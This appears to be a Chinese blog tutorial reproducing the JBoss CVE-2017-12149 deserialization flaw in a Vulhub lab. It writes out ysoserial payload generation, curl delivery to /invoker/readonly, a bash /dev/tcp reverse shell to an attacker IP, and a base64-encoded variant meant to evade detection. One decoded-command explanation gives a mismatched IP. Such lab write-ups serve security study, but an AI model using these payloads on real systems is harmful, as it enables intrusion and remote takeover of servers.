目录
1、确保系统已安装 Docker 和 Docker-Compose
本文通过vulhub靶场的JBoss反序列化漏洞关卡讲解CVE-2017-12149漏洞原理、渗透环境搭建、并通过两种方法进行渗透的全流程(包括命令执行、反弹shell)。
一、JBoss反序列化漏洞
1、漏洞简介
JBoss 反序列化漏洞(CVE-2017-12149)是 JBoss Application Server 5.x、6.x 版本存在的高危远程代码执行漏洞,危害等级高且无需身份验证。其漏洞根源在 HttpInvoker 组件的 ReadOnlyAccessFilter 过滤器,该过滤器在处理 /invoker/readonly 路径的请求时,会直接对客户端传来的序列化数据反序列化,未做安全检查。攻击者可通过 ysoserial 等工具构造恶意序列化数据,向目标路径发送 POST 请求,服务器反序列化时会执行恶意代码,使攻击者获取服务器控制权。
-
漏洞编号: CVE-2017-12149
-
漏洞名称: JBoss AS 6.x 反序列化远程代码执行漏洞
-
漏洞类型: 反序列化不安全对象导致远程代码执行(RCE)
-
危险等级: 严重 (Critical)
-
影响组件: JBoss AS 中
HttpInvoker组件下的/invoker/readonly服务端点。
2、漏洞原理
漏洞的核心是 Java 反序列化机制的安全问题。JBoss 的一个公开接口对客户端传来的数据没有任何安全检查,直接进行了反序列化操作。攻击者精心构造一个包含恶意指令的序列化数据包发送给这个接口,服务器在反序列化这个数据时就会触发漏洞,执行攻击者的命令。
-
Java 反序列化: Java 允许将对象的状态转换为字节流(序列化),并可以从字节流中恢复对象(反序列化)。这常用于网络传输或持久化存储。
-
危险的反序列化: 如果在反序列化过程中,应用程序接受了来自不可信来源的恶意序列化数据,并且类路径中包含某些具有“魔法方法”(如
readObject、readExternal等)的危险类,攻击者就可以构造特殊的序列化数据,在目标服务器上执行任意代码。 -
JBOSS 的触发点: 在受影响的 JBoss AS 6.x 版本中,默认提供了一个用于远程调用的 HTTP 接口:
-
http://:/invoker/readonly -
这个服务端点会无条件地接收并反序列化客户端发送的 POST 数据。由于 JBoss 的类路径中包含了可以构造攻击链的库(如
commons-collections),攻击者就可以利用这一点实施攻击。
-
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
本文使用Vulhub复现JBoss反序列化漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker
2、下载 Vulhub
将 Vulhub 项目克隆到本地,具体命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub
3、进入漏洞环境
Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。
# 进入JBoss反序列化漏洞(CVE-2017-12149)的漏洞环境目录
cd Jboss
cd CVE-2017-12149

4、启动漏洞环境
在CVE-2017-12149目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。
docker-compose up -d
命令执行后,Docker 会完成拉取一个包含jboss:as-6.1.0(受影响版本)的镜像。
5、查看环境状态
使用 docker ps 命令确认容器启动状态,如下所示当前运行的容器e1f983ec8127属于 Vulhub 搭建的CVE-2017-12149漏洞复现环境(容器名均为CVE-2017-12149)。
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
e1f983ec8127 vulhub/jboss:as-6.1.0 "/run.sh" 8 minutes ago Up 8 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp, 0.0.0.0:9990->9990/tcp, :::9990->9990/tcp cve-2017-12149_jboss_1

-
容器 ID: e1f983ec8127
-
vulhub/jboss:as-6.1.0: 这是漏洞环境镜像,专门用来复现这个漏洞。 -
8080端口: JBoss 的Web服务端口。漏洞就出现在这个端口上的/invoker/readonly这个地址
三、渗透准备
1、访问环境
浏览器访问 Vulhub 提供的漏洞网站http://[目标机IP]:[端口] ,以本机为例,ip地址为192.168.59.128,端口号为8080, 故而访问http://192.168.59.128:8080即可进入Jboss渗透环境,这个页面就是我们的攻击入口,如下所示。
http://192.168.59.128:8080

2、识别漏洞特征
访问JBoss网址的/invoker/readonly目录,探测是否具有漏洞,完整URL如下所示。
http://[目标机IP]:[端口]/invoker/readonly
以本机为例,访问http://192.168.59.128:8080/invoker/readonly,目标服务器响应如下500的页面,则基本可以判目标服务器存在CVE-2017-12149漏洞。

3、下载攻击脚本
(1)生成序列化的poc
ysoserial.jar 用于生成反序列化利用链的Payload,下载地址如下所示。
https://github.com/frohoff/ysoserial/releases
(2)图形化工具
使用自动化工具进行渗透,其GitHub网址如下所示,选择Release下载,如下图红框所示。
https://github.com/yunxu1/jboss-_CVE-2017-12149

解压后文件夹内容如下所示,其中jboss反序列化_CVE-2017-12149.jar为攻击脚本、verify_CVE-2017-12149.jar为探测脚本。

- verify_CVE-2017-12149.jar
- 功能:用于在命令行模式下验证目标是否存在 CVE-2017-12149 漏洞。
- 使用方式:通过执行命令
java -jar verify_CVE-2017-12149.jar http://xxx:8080进行检测(其中http://xxx:8080为目标服务器地址)。 - 验证结果:若漏洞存在,会返回特征字符串
vuln6581362514513155613jboss。
- jboss 反序列化_CVE-2017-12149.jar
- 功能:从代码实现来看,该 jar 包是一个用于利用 CVE-2017-12149 漏洞的工具,主要功能包括:
- 漏洞检测:通过发送特定请求检测目标服务器是否存在该漏洞,并判断目标服务器的操作系统(Windows 或 Linux)。
- 命令执行:若漏洞存在,可向目标服务器发送指定命令并获取执行结果。
- 交互界面:提供了图形化界面(基于 Swing),用户可在界面中输入目标服务器地址和要执行的命令,操作更便捷。
(3)反向连接Shell工具
如下反序列化工具对于 CVE-2017-12149 和 CVE-2015-7501/7504 漏洞都可以进行利用,本次使用反弹shell工具ReverseShellCommonsCollectionsHashMap.java。
https://github.com/ianxtianxt/CVE-2015-7501

下载后解压,如下图所示。

四、手动渗透
1、ysoserial.jar生成poc.ser
我们尝试执行一个命令,例如 touch /tmp/mooyuan888。如果成功,会在目标服务器的 /tmp 目录下创建一个名为mooyuan888的文件,这是漏洞利用成功的标志。我们先进入容器,查看下/tmp下文件,如下所示不存在mooyuan888这个文件。

在攻击机kali中执行命令,利用ysoserial.jar序列化工具将攻击者想要执行的命令(touch /tmp/ mooyuan888)进行序列化,生成的poc.ser和ysoserial.jar在当前路径下。
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/mooyuan888" > poc.ser
![]()
2、执行攻击
继续在终端命令行输入如下命令,向目标服务器发送poc(poc.ser)。
curl http://[目标机IP]:[端口]/invoker/readonly --data-binary @poc.ser
以本机为例命令为curl http://192.168.59.128:8080/invoker/readonly --data-binary @poc.ser。
curl http://192.168.59.128:8080/invoker/readonly --data-binary @poc.ser
<html><head><title>JBoss Web/3.0.0-CR2 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Exception report</p><p><b>message</b> <u></u></p><p><b>description</b> <u>The server encountered an internal error () that prevented it from fulfilling this request.</u></p><p><b>exception</b> <pre>java.lang.ClassCastException: javax.management.BadAttributeValueExpException cannot be cast to org.jboss.invocation.MarshalledInvocation
org.jboss.invocation.http.servlet.ReadOnlyAccessFilter.doFilter(ReadOnlyAccessFilter.java:106)
</pre></p><p><b>note</b> <u>The full stack trace of the root cause is available in the JBoss Web/3.0.0-CR2 logs.</u></p><HR size="1" noshade="noshade"><h3>JBoss Web/3.0.0-CR2</h3></body></html>

3、验证攻击效果
查看/tmp路径下的文件及子路径,如下所示在/tmp路径下成功创建了mooyuan888文件,命令执行成功,说明漏洞复现成功。

五、图形化渗透
1、探测漏洞
命令行模式下验证目标是否存在 CVE-2017-12149 漏洞,命令如下所示,存在漏洞。
java -jar verify_CVE-2017-12149.jar http://192.168.59.128:8080
vuln6581362514513155613jboss
2、执行攻击
命令行种使用java -jar jboss反序列化_CVE-2017-12149.jar启动攻击工具,如下所示。
将目标中的ip地址和端口号替换为JBoss靶机环境,以本机为例为192.168.59.128:8080,修改后点击检测如下所示。

cmd的输入部分使用默认的whoami,点击执行如下所示。

3、反弹shell方法1(手工编码法)
(1)攻击机监听
计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。
nc -lvvp 6666
-
nc: 网络瑞士军刀工具(Netcat),用于处理网络连接。 -
-l: 监听(Listen) 模式,等待别人来连接。 -
-v: 显示详细信息(Verbose),让你能看到谁连接上了。 -
-p 6666: 在 6666 端口(Port) 上进行监听。

(2)目标机建立连接
在目标系统上创建一个反向 shell(反向连接),命令如下所示。它的作用是让当前机器主动连接到攻击者的机器,并提供一个可交互的命令行终端。
① 原始命令
bash -i >& /dev/tcp/192.168.59.128/6666 0>&1
-
bash -i: 启动一个交互式的(interactive)Bash shell。 -
>& /dev/tcp/192.168.59.128/6666:-
>/dev/tcp/192.168.59.128/6666: Bash 的一个特性,可以建立一个 TCP 连接,连接到 IP 地址为192.168.59.128的机器的6666端口。 -
>&: 将标准输出(stdout) 和标准错误(stderr) 都重定向到这个 TCP 连接。
-
-
0>&1: 将标准输入(stdin) 也重定向到同一个 TCP 连接(即标准输出指向的地方)
整体效果就是让被攻击的服务器主动连接IP为 192.168.59.128 的机器的 6666 端口,并建立一个远程控制会话。具体如下所示。
-
执行这条命令的服务器(靶机)会主动去连接
192.168.59.128:6666。 -
连接建立后,在这个 Bash 中所有的输入和输出(你打的命令和命令返回的结果)都会通过这个 TCP 连接传输。
-
在
192.168.59.128这台机器上监听 6666 端口的人(攻击者),就获得了对方服务器的一个远程命令行控制权。
② base64编码
对命令进行base64编码,使用在线网址https://base64.us/ 即可,编码后内容如下所示。
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=

于是编码后的命令如下所示,目的是绕过某些命令检测机制,最终在目标系统上建立反向连接,让攻击者获得交互式 shell。这种方式通过编码隐藏真实命令。
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
-
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}:用 echo 输出一串 Base64 编码字符串,该字符串解码后就是之前提到的反向 shell 命令bash -i >& /dev/tcp/192.168.61.128/6666 0>&1 -
{base64,-d}:对前面输出的 Base64 字符串进行解码 -
{bash,-i}:将解码后的内容作为命令,通过交互式 bash 执行
③ 攻击目标机
在图形化工具执行如下命令,通过编码隐藏真实的反弹shell命令。
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}

(3)反弹shell成功
此时查看kali攻击机监听,已经连接成功,输入命令ip addr,返回正确结果,说明渗透成功。

六、反弹shell方法2(脚本法)
1、攻击机监听
计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。
nc -lvvp 6666
-
nc: 网络瑞士军刀工具(Netcat),用于处理网络连接。 -
-l: 监听(Listen) 模式,等待别人来连接。 -
-v: 显示详细信息(Verbose),让你能看到谁连接上了。 -
-p 6666: 在 6666 端口(Port) 上进行监听。

2、生成ser文件
在目标系统上创建一个反向 shell(反向连接),命令如下所示。它的作用是让当前机器主动连接到攻击者的机器,并提供一个可交互的命令行终端。使用反向连接工具,kali中执行如下命令生成ser文件。
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 192.168.59.128:6666
这条命令会生成恶意的序列化数据文件ReverseShellCommonsCollectionsHashMap.ser。这个文件被设计成一旦被JBoss反序列化,就会命令JBoss服务器执行反弹Shell命令,连接到攻击机 192.168.59.128的6666端口。

-
java -cp .:commons-collections-3.2.1.jar-
-cp: 指定Java程序的类路径(Classpath),即告诉Java去哪里找需要运行的类和依赖库。 -
.:commons-collections-3.2.1.jar: 类路径包含两个地方:-
.: 当前目录 -
commons-collections-3.2.1.jar: 当前目录下的这个特定jar包。这个库是构造攻击链的关键。
-
-
-
ReverseShellCommonsCollectionsHashMap.java-
这是攻击代码的主类。这个Java程序专门用来生成一个恶意的序列化对象。
-
这个对象利用了
commons-collections库中的漏洞(一个特殊的“魔法方法”),当JBoss反序列化这个对象时,就会触发漏洞。
-
-
192.168.59.128:6666-
这是攻击参数,告诉上面的攻击代码:“让被攻击的服务器反弹连接到我的机器(192.168.59.128)的6666端口”。
-
3、攻击目标机
攻击机向存在漏洞的JBoss服务器发送攻击数据(Payload)的命令,具体如下所示。
curl http://192.168.59.128:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
4、shell连接成功
此时查看kali攻击机的监听,已经成功连接,输入ip addr显示docker的ip地址,渗透成功。
1068

被折叠的 条评论
为什么被折叠?



